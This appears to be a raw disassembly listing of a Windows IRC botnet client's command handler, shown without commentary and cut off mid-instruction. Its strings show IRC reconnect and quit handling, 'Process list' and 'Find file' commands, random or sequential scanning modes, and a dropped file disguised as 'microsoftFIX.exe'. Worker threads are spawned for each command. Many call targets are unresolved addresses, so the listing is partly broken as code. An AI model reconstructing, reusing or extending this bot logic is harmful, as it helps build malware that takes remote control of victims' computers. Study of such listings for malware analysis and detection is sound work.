sub_403038+336Ej mov [ebp+var_4A0], bl loc_4063C9: ; CODE XREF: sub_403038+3389j cmp [ebp+var_3F0], ebx mov eax, offset aRandom ; "Random" jnz short loc_4063DB mov eax, offset aSequential ; "Sequential" loc_4063DB: ; CODE XREF: sub_403038+339Cj push [ebp+var_404] lea ecx, [ebp+var_530] push [ebp+var_414] push [ebp+var_418] push [ebp+var_41C] push ecx push eax lea eax, [ebp+var_2E4] push offset unk_438BFC push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 0Bh push eax call sub_408E53 add esp, 2Ch mov [ebp+var_410], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_530] push ebx push eax push offset loc_40A0E0 push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_410] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_406465 loc_406453: ; CODE XREF: sub_403038+342Bj cmp [ebp+var_3EC], ebx jnz short loc_406480 push 32h call near ptr 2690599h nop jmp short loc_406453 ; --------------------------------------------------------------------------- loc_406465: ; CODE XREF: sub_403038+3419j call near ptr 26908EFh nop push eax lea eax, [ebp+var_2E4] push offset unk_438C68 push eax call sub_4171D0 add esp, 0Ch loc_406480: ; CODE XREF: sub_403038+3421j cmp edi, ebx jnz short loc_40649E push ebx lea eax, [ebp+var_2E4] push esi push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 14h loc_40649E: ; CODE XREF: sub_403038+344Aj lea eax, [ebp+var_2E4] push eax call sub_410557 pop ecx loc_4064AB: ; CODE XREF: sub_403038+3206j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4061F4 jmp loc_4034D4 ; --------------------------------------------------------------------------- loc_4064BF: ; CODE XREF: sub_403038+3282j push offset unk_438BB0 jmp loc_407679 ; --------------------------------------------------------------------------- loc_4064C9: ; CODE XREF: sub_403038+1F15j ; sub_403038+1F2Aj push 5 call sub_40909B test eax, eax pop ecx jle short loc_4064DF push offset unk_438AA8 jmp loc_4055CA ; --------------------------------------------------------------------------- loc_4064DF: ; CODE XREF: sub_403038+349Bj mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_406502 push eax mov edi, 104h lea eax, [ebp+var_7EC] push edi push eax call sub_4172D0 add esp, 0Ch jmp short loc_406516 ; --------------------------------------------------------------------------- loc_406502: ; CODE XREF: sub_403038+34B0j mov edi, 104h lea eax, [ebp+var_7EC] push edi push eax push ebx nop call near ptr 2680000h loc_406516: ; CODE XREF: sub_403038+34C8j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_406526 mov esi, offset aMicrosoftfix_e ; "microsoftFIX.exe" loc_406526: ; CODE XREF: sub_403038+34E7j push esi lea eax, [ebp+var_6E8] push edi push eax call sub_4172D0 mov eax, dword_436C0C push 7Fh push [ebp+var_88] mov [ebp+var_5DC], eax mov eax, [ebp+arg_4] mov [ebp+var_5E0], ebx mov [ebp+var_7F0], eax lea eax, [ebp+var_5D8] push eax call sub_417770 mov eax, [ebp+var_4] mov [ebp+var_558], eax mov eax, [ebp+var_8] mov [ebp+var_554], eax lea eax, [ebp+var_7EC] push eax lea eax, [ebp+var_2E4] push [ebp+var_5DC] push offset unk_438AC8 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 5 push eax call sub_408E53 add esp, 34h mov [ebp+var_5E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset byte_40FFAF push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_5E4] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_4065EF loc_4065D9: ; CODE XREF: sub_403038+35B5j cmp [ebp+var_550], ebx jnz loc_4072D4 push 32h nop call near ptr 2690599h jmp short loc_4065D9 ; --------------------------------------------------------------------------- loc_4065EF: ; CODE XREF: sub_403038+359Fj nop call near ptr 26908EFh push eax push offset unk_438AFC jmp loc_4072C5 ; --------------------------------------------------------------------------- loc_406600: ; CODE XREF: sub_403038+1EEBj ; sub_403038+1F00j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40661F push edi call sub_4174D0 test eax, eax pop ecx jz short loc_40661F push edi call sub_4174D0 pop ecx jmp short loc_406624 ; --------------------------------------------------------------------------- loc_40661F: ; CODE XREF: sub_403038+35D1j ; sub_403038+35DCj mov eax, dword_436C10 loc_406624: ; CODE XREF: sub_403038+35E5j mov esi, [ebp+esi+var_88] mov [ebp+var_56C], eax xor eax, eax cmp [ebp+var_998], bl setz al cmp esi, ebx mov [ebp+var_558], eax jz short loc_406657 lea eax, [ebp+var_670] push esi push eax call sub_4171D0 pop ecx pop ecx jmp short loc_406682 ; --------------------------------------------------------------------------- loc_406657: ; CODE XREF: sub_403038+360Cj lea eax, [ebp+var_4E8] push 104h push eax nop call near ptr 2690000h push ebx push ebx lea eax, [ebp+var_D4] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_417BD0 add esp, 14h loc_406682: ; CODE XREF: sub_403038+361Dj lea eax, [ebp+var_670] push eax call sub_414BE0 cmp [ebp+eax+var_671], 5Ch pop ecx jnz short loc_4066AD lea eax, [ebp+var_670] push eax call sub_414BE0 pop ecx mov [ebp+eax+var_671], bl loc_4066AD: ; CODE XREF: sub_403038+365Fj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_8F8] mov [ebp+var_8FC], esi push 80h push eax call sub_4172D0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_55C], eax lea eax, [ebp+var_670] mov [ebp+var_560], edi push eax push [ebp+var_56C] push esi call sub_40267D pop ecx push eax lea eax, [ebp+var_2E4] push offset unk_438A1C push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 3 push eax call sub_408E53 add esp, 20h mov [ebp+var_564], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8FC] push ebx push eax push offset sub_40D8F7 push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_564] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_406765 loc_40674F: ; CODE XREF: sub_403038+372Bj cmp [ebp+var_550], ebx jnz loc_407EE8 push 32h nop call near ptr 2690599h jmp short loc_40674F ; --------------------------------------------------------------------------- loc_406765: ; CODE XREF: sub_403038+3715j call near ptr 26908EFh nop push eax push offset unk_438A58 jmp loc_407ED9 ; --------------------------------------------------------------------------- loc_406776: ; CODE XREF: sub_403038+1EC1j ; sub_403038+1ED6j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_406795 push edi call sub_4174D0 test eax, eax pop ecx jz short loc_406795 push edi call sub_4174D0 pop ecx jmp short loc_40679A ; --------------------------------------------------------------------------- loc_406795: ; CODE XREF: sub_403038+3747j ; sub_403038+3752j mov eax, dword_436C14 loc_40679A: ; CODE XREF: sub_403038+375Bj mov [ebp+var_568], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_4067B1 lea eax, [ebp+var_C0] loc_4067B1: ; CODE XREF: sub_403038+3771j push eax lea eax, [ebp+var_6A8] push 40h push eax call sub_4172D0 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_4067D3 mov esi, offset dword_4D3198 loc_4067D3: ; CODE XREF: sub_403038+3794j push esi lea eax, [ebp+var_668] push 100h push eax call sub_4172D0 push [ebp+var_88] lea eax, [ebp+var_728] push 80h push eax call sub_4172D0 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 18h mov [ebp+var_554], eax lea eax, [ebp+var_6A8] push eax mov [ebp+var_72C], esi push [ebp+var_568] mov [ebp+var_558], edi push esi call sub_40267D pop ecx push eax lea eax, [ebp+var_2E4] push offset unk_438990 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 9 push eax call sub_408E53 add esp, 20h mov [ebp+var_564], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_72C] push ebx push eax push offset word_40F266 push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_564] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_40689D loc_406887: ; CODE XREF: sub_403038+3863j cmp [ebp+var_550], ebx jnz loc_407EE8 push 32h nop call near ptr 2690599h jmp short loc_406887 ; --------------------------------------------------------------------------- loc_40689D: ; CODE XREF: sub_403038+384Dj call near ptr 26908EFh nop push eax push offset unk_4389CC jmp loc_407ED9 ; --------------------------------------------------------------------------- loc_4068AE: ; CODE XREF: sub_403038+1E97j ; sub_403038+1EACj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4068C1 push esi call sub_4174D0 jmp short loc_4068C8 ; --------------------------------------------------------------------------- loc_4068C1: ; CODE XREF: sub_403038+387Fj push 0Bh call sub_4090BA loc_4068C8: ; CODE XREF: sub_403038+3887j cmp eax, ebx pop ecx jz loc_40858F push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_409757 loc_4068E3: ; CODE XREF: sub_403038+3D1Fj add esp, 10h jmp loc_40858F ; --------------------------------------------------------------------------- loc_4068EB: ; CODE XREF: sub_403038+1E6Dj ; sub_403038+1E82j mov eax, dword_445264 cmp eax, ebx jz short loc_406908 call eax test eax, eax jz short loc_406901 push offset unk_4388EC jmp short loc_40691D ; --------------------------------------------------------------------------- loc_406901: ; CODE XREF: sub_403038+38C0j push offset unk_438910 jmp short loc_40691D ; --------------------------------------------------------------------------- loc_406908: ; CODE XREF: sub_403038+38BAj push offset unk_43893C jmp short loc_40691D ; --------------------------------------------------------------------------- loc_40690F: ; CODE XREF: sub_403038+1E43j ; sub_403038+1E58j call sub_402599 test eax, eax jz short loc_406933 push offset unk_438888 loc_40691D: ; CODE XREF: sub_403038+38C7j ; sub_403038+38CEj ... lea eax, [ebp+var_2E4] push 200h push eax call sub_4172D0 jmp loc_40722C ; --------------------------------------------------------------------------- loc_406933: ; CODE XREF: sub_403038+38DEj push offset unk_4388AC jmp short loc_40691D ; --------------------------------------------------------------------------- loc_40693A: ; CODE XREF: sub_403038+1E19j ; sub_403038+1E2Ej cmp [ebp+var_8], ebx jnz short loc_406959 push ebx push [ebp+var_4] push offset dword_438840 push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 14h loc_406959: ; CODE XREF: sub_403038+3905j push ebx push [ebp+var_4] call sub_411D9F push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 push offset dword_438858 jmp loc_406C26 ; --------------------------------------------------------------------------- loc_40697B: ; CODE XREF: sub_403038+1811j ; sub_403038+1826j push 0Ah call sub_40909B test eax, eax pop ecx jle short loc_406991 push offset unk_438750 jmp loc_407679 ; --------------------------------------------------------------------------- loc_406991: ; CODE XREF: sub_403038+394Dj push [ebp+var_88] push [ebp+arg_4] call sub_4139E2 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4069B0 push offset unk_43877C jmp loc_407679 ; --------------------------------------------------------------------------- loc_4069B0: ; CODE XREF: sub_403038+396Cj push offset unk_4387A4 jmp loc_407679 ; --------------------------------------------------------------------------- loc_4069BA: ; CODE XREF: sub_403038+17E7j ; sub_403038+17FCj push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40219C jmp loc_406C44 ; --------------------------------------------------------------------------- loc_4069D3: ; CODE XREF: sub_403038+17BDj ; sub_403038+17D2j push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41188C jmp loc_406C44 ; --------------------------------------------------------------------------- loc_4069F0: ; CODE XREF: sub_403038+1793j ; sub_403038+17A8j or edi, 0FFFFFFFFh nop call near ptr 26C05FFh xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_406A19 push esi call sub_4174D0 pop ecx mov edi, eax loc_406A19: ; CODE XREF: sub_403038+39D6j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_406A32 cmp edi, 0FFFFFFFFh jnz loc_40858F loc_406A32: ; CODE XREF: sub_403038+39EFj push ebx call sub_413F6C push eax lea eax, [ebp+var_2E4] push offset dword_438708 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 lea eax, [ebp+var_2E4] push eax call sub_410557 jmp loc_407A9B ; --------------------------------------------------------------------------- loc_406A74: ; CODE XREF: sub_403038+1769j ; sub_403038+177Ej push 27h call sub_40909B test eax, eax pop ecx jle short loc_406AA5 cmp [ebp+var_8], ebx jnz loc_4034D4 push ebx push [ebp+var_4] push offset unk_43867C push [ebp+var_88] push [ebp+arg_4] call sub_401445 jmp loc_40853A ; --------------------------------------------------------------------------- loc_406AA5: ; CODE XREF: sub_403038+3A46j push [ebp+var_88] lea eax, [ebp+var_378] push 80h push eax call sub_4172D0 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_37C], eax mov eax, [ebp+var_4] mov [ebp+var_2F0], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_2EC], eax mov [ebp+var_2F4], ebx jz short loc_406B06 push esi push offset aFull ; "full" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_406B06 mov [ebp+var_2F4], 1 loc_406B06: ; CODE XREF: sub_403038+3AB1j ; sub_403038+3AC2j lea eax, [ebp+var_2E4] push offset dword_4386A4 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 27h push eax call sub_408E53 add esp, 14h mov [ebp+var_2F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_37C] push ebx push eax push offset sub_413669 push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_2F8] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_406B74 loc_406B5E: ; CODE XREF: sub_403038+3B3Aj cmp [ebp+var_2E8], ebx jnz loc_40514A push 32h nop call near ptr 2690599h jmp short loc_406B5E ; --------------------------------------------------------------------------- loc_406B74: ; CODE XREF: sub_403038+3B24j nop call near ptr 26908EFh push eax push offset unk_4386C0 loc_406B80: ; CODE XREF: sub_403038+2CFAj lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 0Ch jmp loc_40514A ; --------------------------------------------------------------------------- loc_406B94: ; CODE XREF: sub_403038+173Fj ; sub_403038+1754j cmp [ebp+var_8], ebx jnz short loc_406BB3 push ebx push [ebp+var_4] push offset dword_438654 push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 14h loc_406BB3: ; CODE XREF: sub_403038+3B5Fj push [ebp+arg_4] call dword_4453E0 call dword_4452A0 call sub_411FA3 push ebx call near ptr 77E75CB5h nop loc_406BCE: ; CODE XREF: sub_403038+1715j ; sub_403038+172Aj push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_414129 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 push offset dword_438624 jmp short loc_406C26 ; --------------------------------------------------------------------------- loc_406BF9: ; CODE XREF: sub_403038+16EBj ; sub_403038+1700j push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_4143DD add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 push offset dword_4385FC loc_406C26: ; CODE XREF: sub_403038+393Ej ; sub_403038+3BBFj call sub_410557 jmp loc_40824E ; --------------------------------------------------------------------------- loc_406C30: ; CODE XREF: sub_403038+16C1j ; sub_403038+16D6j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410694 loc_406C44: ; CODE XREF: sub_403038+3BCj ; sub_403038+3996j ... add esp, 10h jmp loc_4034D4 ; --------------------------------------------------------------------------- loc_406C4C: ; CODE XREF: sub_403038+1697j ; sub_403038+16ACj cmp [ebp+var_C], ebx mov [ebp+var_474], bl jz short loc_406C8B mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_406C8B push esi push [ebp+var_C] call sub_417B50 pop ecx cmp eax, ebx pop ecx jz short loc_406C8B push eax push offset dword_43858C lea eax, [ebp+var_474] push 80h push eax call sub_4172D0 add esp, 10h loc_406C8B: ; CODE XREF: sub_403038+3C1Dj ; sub_403038+3C28j ... push [ebp+var_88] lea eax, [ebp+var_4F4] push 80h push eax call sub_4172D0 mov eax, [ebp+arg_4] push offset dword_438590 mov [ebp+var_4F8], eax mov eax, [ebp+var_4] mov [ebp+var_3F0], eax mov eax, [ebp+var_8] mov [ebp+var_3EC], eax lea eax, [ebp+var_2E4] push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 25h push eax call sub_408E53 add esp, 20h mov [ebp+var_3F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F8] push ebx push eax push offset byte_410707 push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_3F4] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_406D2B loc_406D15: ; CODE XREF: sub_403038+3CF1j cmp [ebp+var_3E8], ebx jnz loc_4034D4 push 32h nop call near ptr 2690599h jmp short loc_406D15 ; --------------------------------------------------------------------------- loc_406D2B: ; CODE XREF: sub_403038+3CDBj nop call near ptr 26908EFh push eax push offset unk_4385A8 jmp loc_408716 ; --------------------------------------------------------------------------- loc_406D3C: ; CODE XREF: sub_403038+166Dj ; sub_403038+1682j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4104DF push offset dword_43856C call sub_410557 jmp loc_4068E3 ; --------------------------------------------------------------------------- loc_406D5C: ; CODE XREF: sub_403038+1643j ; sub_403038+1658j push [ebp+var_88] lea eax, [ebp+var_378] push 80h push eax call sub_4172D0 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_37C], eax mov eax, [ebp+var_4] mov [ebp+var_2F0], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_2EC], eax jz short loc_406DB6 push offset aSub ; "sub" push esi call sub_417870 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_2F4], eax jmp short loc_406DBC ; --------------------------------------------------------------------------- loc_406DB6: ; CODE XREF: sub_403038+3D62j mov [ebp+var_2F4], ebx loc_406DBC: ; CODE XREF: sub_403038+3D7Cj lea eax, [ebp+var_2E4] push offset dword_438504 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 28h push eax call sub_408E53 add esp, 14h mov [ebp+var_2F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_37C] push ebx push eax push offset word_408EBE push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_2F8] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_406E2A loc_406E14: ; CODE XREF: sub_403038+3DF0j cmp [ebp+var_2E8], ebx jnz loc_404E30 push 32h nop call near ptr 2690599h jmp short loc_406E14 ; --------------------------------------------------------------------------- loc_406E2A: ; CODE XREF: sub_403038+3DDAj call near ptr 26908EFh nop push eax push offset unk_438524 loc_406E36: ; CODE XREF: sub_403038+2ACBj ; sub_403038+2BB0j lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 0Ch jmp loc_404E30 ; --------------------------------------------------------------------------- loc_406E4A: ; CODE XREF: sub_403038+15C7j ; sub_403038+15DCj push offset aMqbol ; "mqbol" lea eax, [ebp+var_2E4] push offset dword_43848C push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 20h jmp loc_4058F0 ; --------------------------------------------------------------------------- loc_406E81: ; CODE XREF: sub_403038+159Dj ; sub_403038+15B2j push dword_4D3014 call sub_413F6C push eax lea eax, [ebp+var_2E4] push offset unk_438458 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 24h jmp loc_4058F0 ; --------------------------------------------------------------------------- loc_406EBF: ; CODE XREF: sub_403038+1573j ; sub_403038+1588j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_406EF1 cmp [ebp+var_C], ebx jz short loc_406F00 push esi push [ebp+var_C] call sub_417B50 pop ecx cmp eax, ebx pop ecx jz short loc_406F00 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_4013FF add esp, 0Ch jmp short loc_406F00 ; --------------------------------------------------------------------------- loc_406EF1: ; CODE XREF: sub_403038+3E90j push offset aQuitLater_0 ; "QUIT :later\r\n" push [ebp+arg_4] call sub_4013FF pop ecx pop ecx loc_406F00: ; CODE XREF: sub_403038+3E95j ; sub_403038+3EA4j ... push 0FFFFFFFEh jmp loc_4034D6 ; --------------------------------------------------------------------------- loc_406F07: ; CODE XREF: sub_403038+1549j ; sub_403038+155Ej push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_4013FF push offset dword_438408 call sub_410557 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_4034D7 ; --------------------------------------------------------------------------- loc_406F29: ; CODE XREF: sub_403038+151Fj ; sub_403038+1534j push offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_4013FF push offset dword_4383C4 call sub_410557 add esp, 0Ch jmp loc_40617E ; --------------------------------------------------------------------------- loc_406F48: ; CODE XREF: sub_403038+14F5j ; sub_403038+150Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4094E0 jmp loc_408183 ; --------------------------------------------------------------------------- loc_406F5E: ; CODE XREF: sub_403038+14CBj ; sub_403038+14E0j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_409475 jmp loc_408183 ; --------------------------------------------------------------------------- loc_406F74: ; CODE XREF: sub_403038+14A1j ; sub_403038+14B6j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4093A7 jmp loc_408183 ; --------------------------------------------------------------------------- loc_406F8A: ; CODE XREF: sub_403038+13FCj ; sub_403038+1411j push [ebp+esi+var_8C] push 27h push offset aProcessList ; "Process list" push offset dword_4382E4 jmp short loc_406FB2 ; --------------------------------------------------------------------------- loc_406F9F: ; CODE XREF: sub_403038+13D2j ; sub_403038+13E7j push [ebp+esi+var_8C] push 24h push offset aFindFile ; "Find file" push offset dword_4382B0 loc_406FB2: ; CODE XREF: sub_403038+FD7j ; sub_403038+102Aj ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4090E1 add esp, 20h jmp loc_4034D4 ; --------------------------------------------------------------------------- loc_406FCE: ; CODE XREF: sub_403038+FEBj ; sub_403038+1000j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_406FED push edi call sub_4174D0 test eax, eax pop ecx jz short loc_406FED push edi call sub_4174D0 pop ecx jmp short loc_406FF2 ; --------------------------------------------------------------------------- loc_406FED: ; CODE XREF: sub_403038+3F9Fj ; sub_403038+3FAAj mov eax, dword_436C08 loc_406FF2: ; CODE XREF: sub_403038+3FB3j mov esi, [ebp+esi+var_88] mov [ebp+var_300], eax cmp esi, ebx jz short loc_407017 push esi loc_407004: ; CODE XREF: sub_403038+3FEEj lea eax, [ebp+var_310] push 10h push eax call sub_4172D0 add esp, 0Ch jmp short loc_40702E ; --------------------------------------------------------------------------- loc_407017: ; CODE XREF: sub_403038+3FC9j cmp [ebp+var_99B], bl jz short loc_407028 lea eax, [ebp+var_C0] push eax jmp short loc_407004 ; --------------------------------------------------------------------------- loc_407028: ; CODE XREF: sub_403038+3FE5j mov [ebp+var_310], bl loc_40702E: ; CODE XREF: sub_403038+3FDDj mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_2F4], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_2F0], eax lea eax, [ebp+var_390] push eax mov [ebp+var_394], esi call sub_4172D0 add esp, 0Ch push [ebp+var_300] push esi call sub_40267D pop ecx push eax lea eax, [ebp+var_2E4] push offset dword_437EB4 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 19h push eax call sub_408E53 add esp, 1Ch mov [ebp+var_2FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_394] push ebx push eax push offset word_40F9E6 push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_2FC] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_4070DF loc_4070C9: ; CODE XREF: sub_403038+40A5j cmp [ebp+var_2EC], ebx jnz loc_4034D4 push 32h nop call near ptr 2690599h jmp short loc_4070C9 ; --------------------------------------------------------------------------- loc_4070DF: ; CODE XREF: sub_403038+408Fj nop call near ptr 26908EFh push eax push offset dword_437EDC jmp loc_408716 ; --------------------------------------------------------------------------- loc_4070F0: ; CODE XREF: sub_403038+F98j ; sub_403038+FADj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_407110 push esi call sub_4174D0 test ax, ax pop ecx jz short loc_407110 push esi call sub_4174D0 pop ecx jmp short loc_407116 ; --------------------------------------------------------------------------- loc_407110: ; CODE XREF: sub_403038+40C1j ; sub_403038+40CDj mov ax, word_436C18 loc_407116: ; CODE XREF: sub_403038+40D6j push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov word ptr [ebp+var_300], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_2F0], eax lea eax, [ebp+var_380] push eax mov [ebp+var_384], esi mov [ebp+var_2F4], edi call sub_4172D0 movzx eax, word ptr [ebp+var_300] add esp, 0Ch push eax push esi call sub_40267D pop ecx push eax lea eax, [ebp+var_2E4] push offset unk_437E10 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push edi push eax push [ebp+var_88] push esi call sub_401445 push ebx lea eax, [ebp+var_2E4] push 6 push eax call sub_408E53 add esp, 30h mov [ebp+var_2FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_384] push ebx push eax push offset dword_40CFDC push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_2FC] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_4071E5 loc_4071CF: ; CODE XREF: sub_403038+41ABj cmp [ebp+var_2EC], ebx jnz loc_4034D4 push 32h nop call near ptr 2690599h jmp short loc_4071CF ; --------------------------------------------------------------------------- loc_4071E5: ; CODE XREF: sub_403038+4195j nop call near ptr 26908EFh push eax push offset unk_437E3C jmp loc_408716 ; --------------------------------------------------------------------------- loc_4071F6: ; CODE XREF: sub_403038+F6Ej ; sub_403038+F83j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_413D8F jmp loc_408183 ; --------------------------------------------------------------------------- loc_40720C: ; CODE XREF: sub_403038+F44j ; sub_403038+F59j push offset unk_437D40 jmp loc_4058C1 ; --------------------------------------------------------------------------- loc_407216: ; CODE XREF: sub_403038+F1Aj ; sub_403038+F2Fj push offset aBy ; "By" push offset dword_437D20 loc_407220: ; CODE XREF: sub_403038+2A6Cj ; sub_403038+2D90j ... lea eax, [ebp+var_2E4] push eax call sub_4171D0 loc_40722C: ; CODE XREF: sub_403038+38F6j add esp, 0Ch jmp loc_4058CF ; --------------------------------------------------------------------------- loc_407234: ; CODE XREF: sub_403038+EF0j ; sub_403038+F05j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40728B push esi call sub_4174D0 cmp eax, ebx pop ecx jl short loc_407283 cmp eax, 3 jge short loc_407283 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40727B lea eax, [esi+1] push eax lea eax, [ebp+var_2E4] push offset unk_437C7C push eax call sub_4171D0 add esp, 0Ch mov [esi], bl jmp short loc_4072D4 ; --------------------------------------------------------------------------- loc_40727B: ; CODE XREF: sub_403038+4225j push eax push offset unk_437C9C jmp short loc_4072C5 ; --------------------------------------------------------------------------- loc_407283: ; CODE XREF: sub_403038+4210j ; sub_403038+4215j push eax push offset unk_437CC8 jmp short loc_4072C5 ; --------------------------------------------------------------------------- loc_40728B: ; CODE XREF: sub_403038+4205j mov edi, [ebp+arg_18] xor esi, esi loc_407290: ; CODE XREF: sub_403038+4274j push [ebp+var_90] push edi call sub_417870 pop ecx test eax, eax pop ecx jz short loc_4072B0 inc esi add edi, 80h cmp esi, 3 jl short loc_407290 jmp short loc_4072D4 ; --------------------------------------------------------------------------- loc_4072B0: ; CODE XREF: sub_403038+4268j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax push offset unk_437CF4 loc_4072C5: ; CODE XREF: sub_403038+255Aj ; sub_403038+2588j ... lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 0Ch loc_4072D4: ; CODE XREF: sub_403038+2548j ; sub_403038+256Ej ... cmp [ebp+var_8], ebx jnz loc_403953 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 14h jmp loc_403953 ; --------------------------------------------------------------------------- loc_4072FE: ; CODE XREF: sub_403038+EC6j ; sub_403038+EDBj push [ebp+var_8C] push offset a332_2 ; "332" call sub_417870 pop ecx test eax, eax pop ecx jz loc_404928 call sub_40901C push ebx call near ptr 77E75CB5h nop loc_407324: ; CODE XREF: sub_403038+1C68j push edi push offset aHttpcon ; "httpcon" call sub_417870 pop ecx test eax, eax pop ecx jz short loc_40734A push edi push offset aHcon ; "hcon" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_4073D4 loc_40734A: ; CODE XREF: sub_403038+42FBj push [ebp+esi+var_7C] push 